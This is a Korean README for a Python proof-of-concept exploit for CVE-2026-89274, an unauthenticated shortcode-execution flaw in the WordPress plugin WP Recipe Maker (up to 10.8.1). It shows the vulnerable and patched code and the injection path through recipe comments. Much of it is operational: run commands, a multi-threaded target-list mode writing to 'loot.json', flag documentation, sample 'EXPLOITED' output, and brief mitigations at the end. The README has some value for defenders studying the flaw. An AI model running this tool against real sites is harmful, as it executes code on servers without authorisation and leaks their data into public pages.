
WordPress WP Recipe Maker <= 10.8.1에서 레시피 댓글을 통해 발생하는 인증되지 않은 임의 숏코드 실행 취약점 CVE-2026-89274에 대한 Python PoC 익스플로잇입니다.
Poloss : @WPEF0
CVE-2026-89274에 대한 Proof-of-Concept 익스플로잇 — WordPress 플러그인 WP Recipe Maker 버전 ≤ 10.8.1의 Unauthenticated Arbitrary Shortcode Execution 취약점.
⚠️ 법적 및 윤리적 경고 이 스크립트는 로컬 환경(localhost/lab)에서의 보안 연구용으로만 제공되며, 본인 소유가 아니거나 서면 허가 없이 타인의 시스템에 사용해서는 안 됩니다. 작성자는 오용에 대해 책임지지 않습니다. 권한 없는 제3자 시스템에 대한 사용은 형사법을 위반할 수 있습니다.
| Field | 값 |
|---|
| CVE ID | CVE-2026-89274 |
| 대상 | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| 분류 | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 벡터 | 레시피 댓글 콘텐츠 (unauthenticated) |
| 싱크 | class-wprm-metadata.php의 do_shortcode() |
| 영향 | 서버 측 shortcode 실행 → 공개 JSON-LD를 통한 데이터 유출 |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
취약 (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode()가 shortcode를 먼저 실행한 후, strip_shortcodes()는 그 출력만 정리합니다 — 보호가 전혀 없습니다.
패치됨 (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (레시피 게시물의 공개 댓글)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← 실행 싱크
└─> wp_json_encode() → <script type="application/ld+json">
wprm-comment-rating 필드를 포함 (댓글 양식을 통해 입력).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# 외부 의존성 없음 — Python 3 표준 라이브러리만 사용.
요구 사항: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
targets.txt 형식 (한 줄에 하나, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# 주석 줄은 무시됨
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | 기본값 | 설명 |
|---|---|---|
-u, --url | — | 단일 대상 URL |
-f, --file | — | 대상 목록 파일 (줄당 url[,post_id]) |
-p, --post | 10 | 레시피가 포함된 게시물 ID |
-t, --threads | 5 | 워커 스레드 수 |
-o, --output | cve-2026-89274-loot.json | JSON 출력 파일 |
--shortcode | [wprm-recipe-name id=11] | 실행할 shortcode 페이로드 |
--marker | PoC Recipe | reviewBody에서 실행을 증명하는 부분 문자열 |
--rating | 5 | WPRM 평점 값 |
--timeout | 25 | 요청당 타임아웃 (초) |
<script type="application/ld+json"> 블록을 추출하여 reviewBody를 수집.wprm-comment-rating 필드를 포함하여 /wp-comments-post.php에 POST.--marker가 reviewBody에 나타나면 → EXPLOITED. 그렇지 않으면 → PENDING_APPROVAL.| 상태 | 의미 |
|---|---|
EXPLOITED | Shortcode가 실행되고 출력이 공개 JSON-LD로 유출됨 |
PENDING_APPROVAL | 댓글이 제출되었으나 관리자 승인 대기 중 |
FAIL | 페이지에 접근 불가 / 댓글 거부됨 / 오류 |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1로 설정하고 댓글을 엄격히 감사.[...])을 차단하는 WAF 규칙 적용..
├── CVE-2026-89274.py # 메인 익스플로잇
└── README.md # 이 문서